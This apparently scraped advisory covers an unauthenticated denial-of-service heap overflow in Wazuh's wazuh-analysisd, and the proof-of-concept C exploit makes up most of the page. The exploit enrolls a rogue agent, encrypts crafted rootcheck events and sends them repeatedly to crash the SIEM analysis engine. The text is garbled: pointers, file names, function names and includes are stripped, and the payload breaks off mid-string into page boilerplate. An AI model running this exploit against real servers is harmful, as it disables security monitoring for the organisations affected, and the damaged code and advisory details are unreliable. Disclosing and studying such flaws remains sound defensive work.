Heap buffer overflow in Wazuh wazuh-analysisd causing unauthenticated DoS

Vulnerability Overview Vulnerability Name: Heap buffer overflow in wazuh-analysisd via rootcheck event parsing Vulnerability Description: In , the function in the file contains a heap buffer overflow vulnerability when processing compliance references (e.g., CIS: 1.1.2 RHEL7). This vulnerability allows an unauthenticated remote attacker to crash the Wazuh manager's analysis engine by sending specially crafted rootcheck events, causing SIEM alert processing to stop completely. The vulnerability can be exploited with default configurations and does not require authentication to trigger. Affected Versions Affected Versions: Wazuh-manager >= 1.0.0 Fixed Versions: Wazuh-manager >= 4.14.5 Severity: High (7.5 / 10) CVSS v3 Base Metrics: - Attack Vector: Network - Attack Complexity: Low - Privileges Required: None - User Interaction: None - Scope: Unchanged - Confidentiality: None - Integrity: None - Availability: High Remediation Direct Fix: Replace with on line 631 of and add boundary checks for . Temporary Mitigation: Set in . POC Code The following is the complete POC code: ```c / Wazuh v4.14.4 - Unauthenticated DoS PoC Heap buffer overflow in wazuh-analysisd (json_extended.c:631) Compile: gcc -o poc poc.c -lssl -lcrypto -lz Usage: ./poc [authd_port] [remoted_port] / #include #include #include #include #include #include #include #include #include #include #include #include #include #define OS_MAXSTR 65536 / Verbatim from wazuh src/os_crypto/blowfish/af_op.c / static int OS_BF_Str(const char input, char output, const char charkey, long size, int action) { static unsigned char CBC_IV[8] = {0xfe, 0xdc, 0xba, 0x98, 0x76, 0x54, 0x32, 0x10}; unsigned char key[8]; EVP_CIPHER_CTX ctx; memcpy(key, CBC_IV, sizeof(key)); BF_set_key(key, (int)strlen(charkey), (const unsigned char )charkey); BF_cbc_encrypt((const unsigned char )input, (unsigned char )output, (long)size, key, action); return 1; } / Verbatim from wazuh src/os_crypto/md5/md5_op.c / static int OS_MD5_Str(const char str, size_t length, char output[33]) { EVP_MD_CTX mdctx = EVP_MD_CTX_new(); unsigned char digest[EVP_MAX_MD_SIZE]; EVP_DigestInit_ex(mdctx, EVP_md5(), NULL); EVP_DigestUpdate(mdctx, str, length > 0 ? strlen(str) : (size_t)length); EVP_DigestFinal_ex(mdctx, digest, NULL); for (int i = 0; i 9997) { local_count = 0; global_count++; } local_count++; unsigned short randi = (unsigned short)(rand() & 0xFFFF); length = sprintf(tmpmsg, OS_MAXSTR, "MD5Hash:Name:%s", randi, global_count, local_count); memcpy(_finalmsg + length, msg, msg_length); length += msg_length; OS_MD5_Str(tmpmsg, (size_t)length, md5sum); strcpy(_finalmsg, md5sum); memcpy(_finalmsg + 32, tmpmsg, length); length += 32; cmp_size = OS_MAXSTR - 12; memset(tmpmsg + 8, 0, OS_MAXSTR - 8); compress2((Bytef )tmpmsg + 8, &cmp_size, (Bytef )_finalmsg, length, 9); cmp_size++; bsize = 8 (cmp_size % 8); if (bsize == 0) bsize = 8; tmpmsg[0] = '1'; tmpmsg[1] = '1'; tmpmsg[2] = '1'; tmpmsg[3] = '1'; tmpmsg[4] = '1'; tmpmsg[5] = '1'; tmpmsg[6] = '1'; tmpmsg[7] = '1'; cmp_size = bsize; length = sprintf(msg_encrypted, 16, "Name:%s", agent_id); OS_BF_Str(tmpmsg + 7 - bsize, msg_encrypted + length, encryption_key, (long)cmp_size, 1); return length + cmp_size; } / Send TCP frame - 4-byte LE length + payload / static int send_frame(int sock, const char data, size_t len) { char buf[OS_MAXSTR + 4]; uint32_t flen = (uint32_t)len; memcpy(buf, &flen, 4); memcpy(buf + 4, data, len); return send(sock, buf, 4 + len, 0); } / Enroll agent via authd (TLS, no password) / static int enroll_agent(const char host, int port, char id, char name, char key) { SSL_CTX ctx = SSL_CTX_new(TLS_client_method()); SSL ssl = SSL_new(ctx); int sock = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in addr = {0}; addr.sin_family = AF_INET; addr.sin_port = htons(port); struct hostent he = gethostbyname(host); if (!he) return -1; memcpy(&addr.sin_addr, he->h_addr_list[0], he->h_length); if (connect(sock, (struct sockaddr )&addr, sizeof(addr)) [authd_port] [remoted_port]\n", argv[0]); return 1; } const char host = argv[1]; int authd_port = argc > 2 ? atoi(argv[2]) : 1515; int remoted_port = argc > 3 ? atoi(argv[3]) : 1514; srand(time(NULL)); SSL_library_init(); char id[16], name[64], key[256], enc_key[64]; printf("[] Enrolling agent on %s:%d\n", host, authd_port); if (enroll_agent(host, authd_port, id, name, key) h_addr_list[0], he->h_length); if (connect(sock, (struct sockaddr )&addr, sizeof(addr)) 30 bytes / / Send multiple to ensure heap corruption triggers a crash */ for (int i = 0; i < 20; i++) { char payload[4040], k[20], v[20]; memset(k, 'A', (i % 20) + 20); k[(i % 20) + 20] = '\0'; memset(v, 'A', (i % 20) + 20); v[(i % 20) + 20] = '\0'; int plan = sprintf(payload, sizeof(payload), "{\"rootcheck\":{\"System Audit: %s: %s: Round %d: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s: %s: %

Goal Reached Thanks to every supporter — we hit 100%!

Heap buffer overflow in Wazuh wazuh-analysisd causing unauthenticated DoS

More from this source